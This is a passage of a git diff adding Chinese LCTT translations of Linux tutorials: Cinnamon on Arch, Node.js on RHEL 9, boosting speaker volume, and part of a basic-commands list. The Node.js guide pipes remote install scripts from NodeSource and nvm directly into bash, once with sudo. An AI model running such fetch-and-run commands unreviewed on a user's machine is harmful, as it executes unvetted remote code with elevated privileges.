+ +``` +systemctl enable lightdm +systemctl enable NetworkManager +``` + +重启系统。 + +#### 第 5 步:配置 Cinnamon 桌面 + +成功重启后,你应该会看到 Lightdm 登录提示。使用你在安装基本系统时可能已创建的用户名和密码登录。 + +当我第一次登录基本的 Cinnamon 桌面时,它看起来非常平淡。所以它需要一些定制。 + +![Arch 中的 Cinnamon 桌面(配置前)][6] + +打开终端并安装一些重要的软件包,例如声音驱动、浏览器等。这将确保安装正确的字体和其他项目。 + +``` +sudo pacman -S pulseaudio pulseaudio-alsa pavucontrol firefox vlc gimp xfburn thunderbird gedit gnome-system-monitor +``` + +然后为 Cinnamon 特定的图标集安装 faenza 图标主题。 + +``` +sudo pacman -S mate-icon-theme-faenza +``` + +numix 主题需要安装 yay。在运行以下命令安装之前,请确保按照 [该指南][4] 安装 yay AUR 助手程序。 + +``` +yay -S numix-themes +``` + +全部安装完成后,重启系统。 + +当你重新登录时,打开主题应用并按照以下更改窗口边框、图标、控件和桌面。 + +![本指南的主题更改][7] + +你也可以在第二个选项卡(添加/删除)中下载其他主题。 + +![其他主题供你下载][8] + +将默认的 GNOME 壁纸(Cinnamon 附带)更改为你喜欢的内容。本指南使用来自 [cinnamon-look.org][9] 的 Cinnamon 徽标壁纸。 + +如果一切顺利,你的桌面应该如下所示。 + +![Arch Linux 中的 Cinnamon 桌面][10] + +![在 Arch Linux 中运行的 Cinnamon 桌面][11] + +因此,在 Arch Linux 中安装和配置 Cinnamon 桌面的基本步骤到此结束。你可能想要添加其他设置,例如桌面小程序等。 + +### 结束语 + +Cinnamon 是一款适合新用户的现代且易于使用的桌面。以 Arch Linux 和 Cinnamon 的灵活性为核心,这个组合非常适合许多喜欢 Cinnamon 桌面(主要是 Linux Mint)但又希望同时使用 Arch Linux 的用户。我希望本指南能帮助你在 Arch Linux 中设置 Cinnamon 环境。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/cinnamon-arch-linux-install/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://cinnamon-spices.linuxmint.com/ +[2]: https://www.debugpoint.com/linux-mint/ +[3]: https://www.debugpoint.com/archinstall-guide/ +[4]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[5]: https://archlinux.org/packages/community/x86_64/cinnamon/ +[6]: https://www.debugpoint.com/wp-content/uploads/2021/02/Cinnamon-Desktop-in-Arch-Before-Configuration.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/02/Theme-Changes-for-this-guide.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/02/Additional-Themes-for-you-to-download.jpg +[9]: https://www.cinnamon-look.org/browse/cat/ +[10]: https://www.debugpoint.com/wp-content/uploads/2021/02/Cinnamon-Desktop-in-Arch-Linux-1024x535.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2021/02/Cinnamon-Desktop-Running-in-Arch-Linux-1024x640.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202211/30/112417w4nrt4cii4hiidti.jpg \ No newline at end of file diff --git a/published/202211/20221107.3 ⭐️⭐️ How to Install Node.js on RHEL 9.md b/published/202211/20221107.3 ⭐️⭐️ How to Install Node.js on RHEL 9.md new file mode 100644 index 0000000000..61887b03ba --- /dev/null +++ b/published/202211/20221107.3 ⭐️⭐️ How to Install Node.js on RHEL 9.md @@ -0,0 +1,238 @@ +[#]: subject: "How to Install Node.js on RHEL 9" +[#]: via: "https://www.linuxtechi.com/how-to-install-nodejs-on-rhel/" +[#]: author: "James Kiarie https://www.linuxtechi.com/author/james/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15260-1.html" + +如何在 RHEL 9 上安装 Node.js +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/17/092223tdodvvfdnsjiezxv.jpg) + +> 在这篇文章中,我们将逐步解释如何在 RHEL 9 系统上安装 Node.js。 + +[Node.js][1] 基于谷歌的 V8 JavaScript 引擎构建,它是一个自由开源的跨平台 JavaScript 运行时环境,主要用于构建服务器端应用。它使用事件驱动和异步模型,帮助开发人员构建高度可扩展的数据密集型的实时应用(RTA)。你可以使用 NodeJS 来构建前端和后端应用。 + +Node.js 通常用于构建以下应用: + +- 聊天应用 +- 流媒体应用 +- 浏览器游戏 +- 命令行工具 +- 嵌入式系统 + +在其技术栈中使用 NodeJS 的顶级公司包括 PayPal、NetFlix 和 Uber 等等。 + +安装 Node.js 主要有以下三种方式: + +- 从 NodeSource 仓库安装 Node.js +- 从发行版的官方仓库安装 Node.js +- 使用 NVM 安装 Node.js + +让我们看看如何使用这些方法在 RHEL 9 上安装 Node.js。 + +先决条件: + +- 最小化安装的 RHEL 9 系统 +- 具有管理员权限的 [sudo 用户][2] +- 互联网连接 +- Red Hat 订阅或本地配置的仓库 + +### 从 NodeSource 存储库安装 Node.js + +[NodeSource][3] 是一家技术公司,旨在帮助组织运行生产就绪的 Node.js 应用,关注资源使用以及增强的安全性和应用程序性能。它提供了最新版本的 Node.js 和 NPM。 + +要从 NodeSource 安装 Node.js,首先,按如下所示更新系统包。 + +``` +$ sudo dnf update -y +``` + +![][5] + +接下来,安装这期间所需的构建工具。其中包括 GCC C/C++ 编译器、Perl 和 Python 调试器等等。 + +``` +$ sudo dnf groupinstall 'Development Tools' -y +``` + +![][6] + +接下来,我们将从 NodeSource 安装 Node.js 18.x。为此,请下载并运行 NodeSource 设置脚本,如下所示。 + +``` +$ curl -fsSL https://rpm.nodesource.com/setup_18.x | sudo bash - +``` + +该脚本在其他任务中将 NodeSource 仓库添加到你的系统。 + +![][7] + +在输出的末尾,你将看到一些关于如何安装 Node.js 和 NPM 的附加说明。 + +![][8] + +因此,要安装 Node.js 和 NPM(Node 包管理器),请运行以下命令: + +``` +$ sudo dnf install nodejs -y +``` + +![][9] + +安装完成后,按如下所示验证 Node.js 和 NPM 的版本。 + +``` +$ node -v +$ npm -v +``` + +![][10] + +输出显示我们正在运行 Node v18.12,它是最新的 LTS 版本和 NPM 8.19.2。 + +### 从官方 RHEL 仓库安装 Node.js + +安装 NodeJS 和 NPM 的另一种方法是从发行版的官方仓库中安装它们。但是,这种方法不提供最新版本。 + +如果你不介意不安装最新版本的 Node 和 NPM。 那么在命令行上运行以下命令。 + +``` +$ sudo dnf update -y +$ sudo dnf install nodejs npm -y +``` + +![][11] + +### 使用 NVM 安装 Node.js + +最后,你可以使用 NVM(Node 版本管理器)安装 Node.js,这是一种用于管理系统上 Node 版本的工具。该工具可帮助开发人员在需要不同版本 Node.js 的不同项目上高效工作。 + +默认情况下没安装 NVM。你需要通过运行 [官方 GitHub 页面][4] 上提供的 Shell 脚本来安装它。 + +``` +$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.2/install.sh | bash +``` + +这会下载 NVM 并将其保存在主目录的 `.nvm` 目录中。 + +![][12] + +安装后,关闭终端会话并打开一个新终端。然后运行以下命令确认 NVM 已经安装。 + +``` +$ command -v nvm +``` + +![][13] + +接下来,你可以使用以下命令列出所有可用的 Node.js 版本: + +``` +$ nvm ls-remote +``` + +![][14] + +或者,你可以列出 Node.js 版本的所有最新 LTS 版本,如图所示。 + +``` +$ nvm ls-remote | grep -i latest +``` + +![][15] + +要安装最新版本的 Node.js(当前为 v19.0.0),请运行以下命令: + +``` +$ nvm install node +``` + +![][16] + +然后,你可以验证安装的 Node.js 版本,如下所示。 + +``` +$ node -v +``` + +![][17] + +此外,你可以安装特定版本的 Node.js。例如,要安装 v18.2.0,请运行以下命令: + + +``` +$ nvm install v18.12.0 +``` + +![][18] + +要列出系统上所有已安装的 NodeJS 版本,请运行以下命令: + +``` +$ nvm ls +``` + +第一行带有 “->” 符号的条目指向当前使用的 Node.js 版本。然后是其他版本。 + +![][19] + +要切换到另一个版本的 Node.js,请使用以下语法: + +``` +$ nvm use +``` + +例如,要使用 Node 版本 19.0.0,请运行以下命令: + +``` +$ nvm use 19.0.0 +``` + +![][20] + +再次检查已安装的 Node.js 版本,这次“->” 符号将指向 v19.0.0。 + +![][21] + +### 总结 + +在本指南中,我们演示了如何使用三种不同的方法安装 Node.js。此外,我们还提供了几种使用 NVM 管理 Node 版本的方法。我们希望可以帮助你轻松地在 RHEL 上安装 NodeJS,并选择你想要在项目中使用的版本。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-nodejs-on-rhel/ + +作者:[James Kiarie][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/james/ +[b]: https://github.com/lkxed +[1]: https://nodejs.org/en/about/ +[2]: https://www.linuxtechi.com/create-sudo-user-on-rhel-rocky-linux-almalinux/ +[3]: https://nodesource.com/ +[4]: https://github.com/nvm-sh/nvm +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-updates-rhel9-system.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-development-tools-rhel9-dnf-command.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Add-NodeSource-Repository-RHEL9.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/11/NodeSource-Repository-Output-RHEL9.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/11/dnf-install-nodejs-rhel9.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Verify-NodeJs-NPM-Version-RHEL9.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-NodeJS-NPM-RHEL9-Official-Repo.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Installing-NodeJS-Using-NVM.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/11/nmv-command-interface-rhel9.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/11/list-nodejs-using-nvm-command-rhel9.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/11/list-latest-nodejs-using-nvm-command-rhel9.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-latest-nodejs-with-nvm-rhel9.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Verify-nodejs-npm-version-with-node-nvm.png +[18]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Install-specific-nodejs-version-nvm-command-rhel9.png +[19]: https://www.linuxtechi.com/wp-content/uploads/2022/11/nvm-ls-command-rhel9.png +[20]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Use-Specific-NodeJs-Version-RHEL9.png +[21]: https://www.linuxtechi.com/wp-content/uploads/2022/11/Check-NodeJS-Version-after-switching-rhel9.png \ No newline at end of file diff --git a/published/202211/20221107.4 ⭐️ How to Boost Speaker Volume in Ubuntu and Other Linux.md b/published/202211/20221107.4 ⭐️ How to Boost Speaker Volume in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..cff6529075 --- /dev/null +++ b/published/202211/20221107.4 ⭐️ How to Boost Speaker Volume in Ubuntu and Other Linux.md @@ -0,0 +1,91 @@ +[#]: subject: "How to Boost Speaker Volume in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/boost-speaker-volume-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15250-1.html" + +如何提高 Ubuntu 和其他 Linux 系统中的扬声器音量 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/14/082359euz72h2utucf2v5u.jpg) + +> 以下是如何在 Ubuntu 和其他 Linux 发行版中提高笔记本和桌面的音量的方法。 + +你有没有觉得你的 Ubuntu 笔记本的音量太小,尽管你把音量调到了 100%?我相信你有过。主要原因是:很明显,笔记本电脑的扬声器输出强度比大型扬声器要低。 + +此外,Ubuntu 和其他发行版将默认的最大音量设置为 100%,也就是 0dB(分贝)。0dB 是最大音量的参考值。做个比较,如果你把音量设置为 -10dB,这意味着你的音量比最大的 0dB 安静。 + +VLC 和一些媒体播放器允许你将音量提高到 200%。在最新的 Ubuntu 中使用一些设置,你可以将音量进一步提高。 + +> **注意**:在你尝试和使用以下方法之前,请记住,每个扬声器都有其制造商设定的硬件限制。偶尔一次,播放超过 100% 的音频是可以的。但是,连续放大到更高的分贝可能会使输出的音频失真,并且从长远来看可能会损坏你的扬声器。因此,在使用时要小心谨慎,并有所限制。 + +### 在 Ubuntu 和其他发行版中提高扬声器音量 + +#### 对于最新的 Ubuntu 22.04 及以上版本(GNOME) + +从应用菜单中打开“设置Settings”,进入“声音Sound”标签。 + +启用 “过度放大Over Amplification” 开关。在你启用的那一刻,你应该看到音量条被扩大了。 + +![在 Ubuntu 中提升音量超过 100%][1] + +现在你可以享受音量提升来听音乐了。 + +#### Fedora、Arch Linux 和其他发行版 + +如果你使用带有 GNOME 的 Fedora 工作站,你将看不到上述选项,因为这是 Ubuntu 特有的设置。见下面。 + +![在 Fedora (GNOME)中,扬声器音量最大为 100%][2] + +因此,对于任何其他 Linux 发行版(Arch、Fedora、RedHat 等)或桌面(KDE、Xfce、LXQt 等),打开终端并安装 [PulseAudio 音量控制器][3]。 + +Fedora、RedHat Linux、OpenSUSE 等基于 RPM 的发行版: + +``` +sudo dnf install pavucontrol +``` + +对于 Arch Linux、Manjaro: + +``` +sudo pacman -S pavucontrol +``` + +基于 Ubuntu 的非 GNOME 发行版: + +``` +sudo apt install pavucontrol +``` + +### 如何使用 + +安装后,从应用菜单中打开 `pavucontrol`,它应该有个 “PulseAudio Volume Control” 菜单项。 + +![使用 PulseAudio 音量控制增加音量][4] + +### 总结 + +记住,上述方法可以提高整个系统的扬声器音量。这意味着系统的声音和警报也会受到影响。所以,要记住这一点。正如我前面提到的,如果连续使用,提升扬声器音量超过 100% 可能会导致扬声器变形或损坏。 + +我希望这个教程能帮助你提高系统音量。如果你遇到问题,请在评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/boost-speaker-volume-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/11/Boost-volume-more-than-100-percent-in-Ubuntu.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/11/Speaker-volume-is-max-100-percent-in-Fedora-GNOME.jpg +[3]: https://freedesktop.org/software/pulseaudio/pavucontrol/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Increase-Volume-using-PulseAudio-Volume-Control-1024x508.jpg \ No newline at end of file diff --git a/published/202211/20221109.1 ⭐️⭐️⭐️ 31 Linux Commands Every Ubuntu User Should Know.md b/published/202211/20221109.1 ⭐️⭐️⭐️ 31 Linux Commands Every Ubuntu User Should Know.md new file mode 100644 index 0000000000..3ddd8e2172 --- /dev/null +++ b/published/202211/20221109.1 ⭐️⭐️⭐️ 31 Linux Commands Every Ubuntu User Should Know.md @@ -0,0 +1,790 @@ +[#]: subject: "31 Linux Commands Every Ubuntu User Should Know" +[#]: via: "https://itsfoss.com/essential-ubuntu-commands/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15286-1.html" + +每个 Linux 用户都应该知道的 31 条命令 +====== + +![][0] + +哪些是**最基本**的 Linux 的命令? + +经常有读者问我这个问题,我一直试图避免回答这个问题。 + +为什么呢?我不知道 Linux 命令吗?不是的。这不是原因。而是因为很难对它们进行分类。对我来说必不可少的东西对你来说可能并不重要。 + +但我想这适用于所有的东西,我们网站上的每一个这样的推荐应用程序列表也都是这样。 + +这就是为什么我最终放弃了,并创建了这个基本但**重要的** Linux 命令列表,它应该对作为 Linux 用户的你有所帮助。这更多的是针对 Ubuntu 这样的桌面用户,但如果你把 Ubuntu 作为服务器使用,它们也应该对你有所帮助。 + +### Linux 的基本命令 + +我在这里列出的每个命令都有多个选项和多种用途。如果我尝试给出每个命令的最常见的例子,它将很容易变成一本超过一万字的口袋书。 + +我不会详述这些命令中的任何一个。我将列出每个命令的目的及其基本语法。你可以从这些命令的链接教程中阅读更多关于使用这些命令的信息。 + +在你开始阅读列表之前推荐阅读: + +- [Linux 中路径的概念][1] +- [文件权限的概念][2] +- [了解 Linux 终端的行话][3] + +还有一件事。我在这里更多地使用了**文件夹**这个术语,而不是**目录**。 + +[在 Linux 中文件夹被称为目录][4],有些人可能不喜欢这样。然而,我相信对于初学者来说,这更容易掌握。 + +#### 1、ls 命令:列出一个文件夹的内容 + +这是一个新的 Linux 用户最先学会的几个命令之一。这个命令可以让你看到当前文件夹里有哪些文件和文件夹。 + +``` +ls +``` + +你可以使用长列表选项 `ls -l` 来查看细节,如文件大小、权限、修改时间等。如果你想,你可以对这些选项进行排序和控制。 + +``` +ls -l +``` + +![ls 命令][5] + +推荐阅读: + +> **[ls 命令示例][6]** + +#### 2、cd 命令:改变目录 + +默认情况下,你从你的主目录下开始。你经常需要改变目录并移动到另一个目录。 + +例如,你下载了一个 deb 文件或脚本。现在你想运行它。你可以通过提供完整的路径从你现在的工作目录运行它,但是切换到下载的位置会让事情更简单。 + +`cd` 命令代表“改变目录change directory”,你可以改变你的位置,移动到另一个目录。 + +![cd 命令示例][7] + +在这一点上,我强烈建议阅读关于 Linux 中路径的概念,这样在 Linux 命令行中浏览目录时,事情就容易理解了。 + +推荐阅读: + +> **[cd 命令示例][8]** + +#### 3、cat 命令:读取一个文本文件 + +如果你想在 Linux 中快速查看一个文本文件的内容,`cat` 是你需要使用的命令。它在屏幕上显示内容。 + +``` +cat filename +``` + +![cat 命令示例][9] + +你也可以使用 `cat` 命令来创建新的文件或给现有文件添加更多的文本。 + +推荐阅读: + +> **[cat 命令的例子][10]** + +#### 4、less 命令:读取一个大的文本文件 + +`cat` 命令对于查看小的文本文件已经足够了。但是,如果你有一个有数百行的巨大文本文件,我不建议使用 `cat`。它将用所有的文本淹没你的屏幕,而你将很难处理它。 + +这就是 `less` 命令有用的地方。当你用 `less` 打开一个文件时,它会分页打开文件。你可以向上/向下滚动,寻找文本等等。 + +![用 less 命令阅读大文件][11] + +一旦你读完了文件,你可以按 `Q` 键退出 `less` 视图。你会注意到,屏幕上什么都没有显示。你的屏幕是干净的。 + +推荐阅读: + +> **[less 命令示例][12]** + +#### 5、touch 命令:创建新文件 + +在 Linux 终端中,有多种创建新文件的方法。你在上面看到的 `cat` 命令也可以创建新文件。 + +然而,我更喜欢用 `touch` 命令来实现这一目的。 + +``` +touch new_file_name +``` + +![touch command ubuntu][13] + +如果你对现有的文件使用它,它们的时间戳会被修改。 + +推荐阅读: + +> **[touch 命令示例][14]** + +#### 6、mkdir 命令:创建新的文件夹 + +虽然没有创建新文件的特定命令,但有一个专门的命令用于创建新的文件夹(或目录,我们在 Linux 中称之为“目录”)。 + +``` +mkdir new_dir +``` + +![mkdir 命令示例][15] + +推荐阅读: + +> **[mkdir 命令示例][16]** + +#### 7、cp 命令:复制文件和文件夹 + +在命令行中复制文件和文件夹也是你会遇到的常见任务之一。`cp` 命令是“复制Copy”的简称,用于这一目的。 + +想象一下,你必须修改一个配置文件。一个聪明的做法是用另一个名字复制该文件。这样一来,你就有了一个文件的备份。 + +``` +cp existing_file.txt existing_file.back +``` + +你也可以使用同样的 `cp` 命令来复制目录。为此,你必须指定递归选项 `-r`。 + +``` +cp -r dir another_location +``` + +![cp 命令示例][17] + +推荐阅读: + +> **[cp 命令示例][18]** + +#### 8、mv 命令:剪贴或重命名文件和文件夹 + +`mv` 命令是 “移动Move” 的意思。当你把一个文件复制到另一个地方时,它仍然保留在原来的地方。 + +`mv` 命令将文件和文件夹移动到另一个位置。你可以把它看作是一个剪切-粘贴的操作。 + +``` +mv file.txt /another/location +``` + +你也可以使用 `mv` 命令来重命名文件。 + +``` +mv file.txt new_file.txt +``` + +同样的 `mv` 命令也可以移动或重命名文件夹,不需要任何特殊的选项。 + +![mv 命令示例][19] + +推荐阅读: + +> **[mv 命令示例][20]** + +#### 9、rm 命令:删除文件和文件夹 + +要在 Linux 终端中删除文件,你可以使用 `rm`(“删除Remove”的缩写)命令。 + +``` +rm filename +``` + +在命令行中删除文件后,没有撤销选项。这就是为什么你在删除文件时要非常小心。如果你害怕删除错误的文件,可以使用选项 `-i` 的交互式模式,它给你一个额外的提示来确认操作。 + +``` +rm -i filename +``` + +使用递归选项 `-r`,你也可以使用相同的 `rm` 命令来删除文件夹。 + +![rm 命令示例][21] + +推荐阅读: + +> **[rm 命令示例][22]** + +#### 10、nano 命令:编辑文件 + +迟早有一天,你会被要求对一个文件的内容进行修改。想象一下,你必须改变 SSH、Grub 或其他一些应用程序的配置文件。 + +有一些 [基于命令行的][23] 文本编辑器可以达到这个目的。Ubuntu 预装了 Nano 编辑器,它比 Vim、Emacs 等更容易使用。 + +**如果你好奇它们有什么不同**,请阅读我们的 [Nano vs. Vim 对比][24] 文章。 + +更容易使用并不意味着和基于 GUI 的文本编辑器一样舒适。你将不得不使用键盘快捷键来移动、修改、保存和退出文件。 + +要用 `nano` 打开一个新的、未命名的文件,请使用: + +``` +nano +``` + +要在 nano 中编辑一个现有的文件,请使用: + +``` +nano filename +``` + +在这两种情况下,你都应该看到一个类似这样的界面。 + +![nano 命令示例][25] + +要保存(或放弃修改)并退出编辑器界面,请使用 `Ctrl+x` 键。 + +请参考我之前创建的 [nano 初学者指南][26] 来适应它。 + +#### 11、clear 命令:清除终端屏幕 + +Nano 感觉很复杂,对吗?让我来分享一个简单的命令。 + +`clear` 命令可以清除终端。就是这样。 + +``` +clear +``` + +你为什么需要这样做呢?嗯,如果你的终端屏幕充斥着随机的东西,而你想做一些新的事情。清理终端就像清理黑板或在你的笔记本上打开一个新页。 + +#### 12、ps 命令:检查和管理进程 + +`ps` 命令是用来管理你系统上运行的进程的。每个进程都有一个相关的 ID,称为 PID,它可以用于各种目的,例如 [终止一个进程][27]。 + +``` +~$ ps + pid tty time cmd + 15358 ? 00:00:00 bash + 15404 ? 00:00:00 ps +``` + +这里, + +- `PID`:进程 ID +- `TTY`:与进程相关的控制终端(现在已经不那么重要了) +- `TIME`:总的 CPU 使用时间 +- `CMD`:运行该进程的命令名称 + +但一个系统不可能只运行两到三个进程,不是吗?要查看所有用户运行的所有进程,请使用: + +``` +ps aux +``` + +这将给出一个庞大的进程列表和关于它们的更多细节。如果你运行这个命令,现在将是使用 `clear` 命令的绝佳时机。 + +![进程列表][29] + +推荐阅读: + +> **[ps 命令示例][30]** + +#### 13、top 命令:系统监控 + +`ps` 命令给你提供了所有正在运行的进程,而 `top` 命令给你提供了进程和系统资源消耗的实时视图。 + +``` +top +``` + +把它看作是 Linux 中任务管理器的终端版本。通过 `top` 命令,你会看到很多有趣的细节。 + +我主要使用 `top` 命令来检查哪个进程占用了太多的 CPU 或内存。如果你有兴趣做实验,还有 [更好的 top 替代品][31]。 + +![top 命令][32] + +要 [停止运行的 top 命令][33],请使用 `Ctrl+C` 键盘快捷键。 + +推荐阅读: + +> **[有效使用 top 命令作为任务管理器][34]** + +#### 14、lsblk 命令: 列出磁盘和分区 + +`lsblk` 命令列出了你系统中所有的块设备。用非常简单(技术上不完全准确)的术语来说,它显示的是磁盘和分区。 + +``` +~# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS +loop0 7:0 0 79.9M 1 loop /snap/lxd/22923 +loop1 7:1 0 103M 1 loop /snap/lxd/23541 +loop2 7:2 0 63.2M 1 loop /snap/core20/1623 +loop3 7:3 0 48M 1 loop /snap/snapd/17336 +loop4 7:4 0 48M 1 loop /snap/snapd/17029 +loop6 7:6 0 63.2M 1 loop /snap/core20/1634 +vda 252:0 0 25G 0 disk +├─vda1 252:1 0 24.9G 0 part / +├─vda14 252:14 0 4M 0 part +└─vda15 252:15 0 106M 0 part /boot/efi +vdb 252:16 0 466K 1 disk +~# +``` + +#### 15、fdisk 命令:列出并管理磁盘和分区 + +另一个类似但更好的命令是 `fdisk` 命令。它可以让你操作磁盘的分区。这意味着你可以用这个命令创建新的分区,删除和调整现有分区的大小。 + +你还可以用它来列出系统中所有的块设备,包括 [回环设备][35]。 + +``` +sudo fdisk -l +``` + +如果你有许多分区、磁盘和回环设备(由 Snap 应用程序创建),输出结果可能是巨大的。我在这里展示的是输出的相关部分: + +``` +Disk /dev/vda: 25 GiB, 26843545600 bytes, 52428800 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disklabel type: gpt +Disk identifier: 0B7C796D-51CD-4DD4-962A-7D94B31690E2 + +Device Start End Sectors Size Type +/dev/vda1 227328 52428766 52201439 24.9G Linux filesystem +/dev/vda14 2048 10239 8192 4M BIOS boot +/dev/vda15 10240 227327 217088 106M EFI System +``` + +#### 16、find 命令:搜索文件 + +即使作为一个桌面用户,你也会遇到在 Linux 命令行中搜索文件的情况。 + +`find` 命令是一个用于此目的的广泛而通用的命令。它有 50 多个选项,而你可能永远不会需要所有的选项。 + +下面是一个 `find` 命令的例子,它将给你提供当前目录中所有以 `.txt` 扩展名结尾的文件。 + +``` +find . -type f -name "*.txt" +``` + +其他常见的例子包括按大小、修改时间等查找文件。你可以 [将 find 与 exec][36] 或 [xargs][37] 结合起来,对 `find` 命令的结果采取行动。例如,你可以寻找所有的 `.txt` 文件并选择删除它们。 + +推荐阅读: + +> **[find 命令示例][38]** + +#### 17、grep 命令:在文件内容中搜索 + +`find` 命令根据文件的名称和类型来搜索文件。如果你想根据文件的内容进行搜索,你可以使用 `grep`命令。 + +因此,与其寻找所有以 `.txt` 结尾的文件,不如用 `grep` 寻找所有包含文本 `foss` 的文件。 + +``` +grep -ri search_term +``` + +![grep 命令示例][39] + +想学习更多吗?这里有一些更多的 [grep 命令示例][40]。方便的 [grep 速查表][41] 应该可以帮助你。 + +#### 18、kill 命令:终止进程 + +暴力不是答案......它是解决方案。 + +开个玩笑! + +如果你有一个行为不端的进程,占用了太多的系统资源,你可以 [找到它,然后终止][27] 它,[使用 kill 命令][42] 就行。 + +``` +sudo kill -9 process_ID_or_Name +``` + +正如你在上面的命令中看到的,你需要知道进程 ID(PID)或进程名称来终止它。你可以使用 `ps` 或 `top` 命令来获得 PID或确切的进程名称。 + +``` +ps aux | grep -i “name of your desired program” +``` + +你注意到 `grep` 命令的使用了吗?你已经在利用这个列表中提到的命令了。 + +![find kill process][43] + +我不知道你怎么想的,但是当我寻找流氓进程来终止时,我觉得自己就像 [《飓风营救》中的连姆·尼森][44]。 + +![Taken meme find you kill you][45] + +#### 19、history 命令:回头看看你过去运行了哪些命令 + +比如,你在几天前使用了一个特定的 Linux 命令。现在你需要再次运行它,但你不能正确地想起它。 + +你可以按上下方向键。 + +这对许多 Linux 用户来说是一个熟悉的场景:这就是 `history` 命令的作用。 + +在 Ubuntu 中,你的 Shell 会保存你所运行的命令的历史。在终端输入 `history`,你会看到你过去运行的命令的历史。 + +![history 命令][46] + +你可以选择从历史记录中运行一个条目,使用其编号,像这样。 + +``` +!number +``` + +但即使是历史记录也可能是巨大的,所以(再次)使用 `grep` 命令来过滤你的搜索词。 + +``` +~$ history | grep aux + 1915 ps aux + 1952 ps aux | grep -i spotify + 1955 ps -aux | grep -i calculator + 1957 ps -aux | grep -i calculator + 1959 ps -aux | grep -i calculator + 1970 history | grep aux +``` + +还有一种方法可以进入命令历史并进行搜索。按 `Ctrl+R`,然后输入搜索词。 + +推荐阅读: + +> **[history 命令示例][47]** + +#### 20、chmod 命令:改变文件权限 + +我强烈建议在这个阶段阅读有关 [Linux 文件权限][2]。这将有助于你更好地理解,而不是盲目地运行 [chmod 命令][48]。 + +`chmod`(“改变模式change mode”)命令是用来改变文件的权限的。 + +这个命令最常见的用途是当你想让一个文件可执行时。有一个Shell脚本?像这样让它可执行: + +``` +chmod u+x file-executable +``` + +还有更多的使用情况,使 `chmod `成为 Ubuntu 用户必须知道的命令。 + +**有趣的事实**:`chmod 777` 命令为所有用户提供了所有的权限。这代表了我们的座右铭是 “让每个人都能获得知识”。 + +#### 21、lshw 命令:获取硬件细节 + +在 Linux 中,有大量的命令行 [工具可以用来获取硬件细节][49] 和其他系统信息。 + +可能预装在 Ubuntu 上的是 `lshw`(“列出硬件list hardware”的缩写)。 + +现在,默认情况下,它显示了大量关于所有硬件组件的详细信息,相信我,这不是很容易理解。 + +``` +lshw +``` + +你可能会感到在这里使用 `grep` 的诱惑,但没有必要这样做。`lshw` 的输出被分成几类,你可以用它来显示一类硬件的细节。 + +[想知道你的网络适配器的制造商][50]?使用这个: + +``` +lshw -C network +``` + +![lshw 命令示例][51] + +#### 22、sudo 命令:以 root 权限运行命令 + +你一定注意到,我在之前讨论的一些命令中使用了 `sudo` 作为前缀。 + +默认情况下,在 Ubuntu 中,`sudo` 的配置方式是,它允许你(默认的管理用户)以 root 权限运行任何命令。 + +你被要求输入一个密码,而且是你的用户账户密码。当你输入密码时,屏幕上没有任何显示。新用户对此感到困惑,但这是 UNIX/Linux 的预期行为。你输入密码并按回车键。 + +![使用 sudo 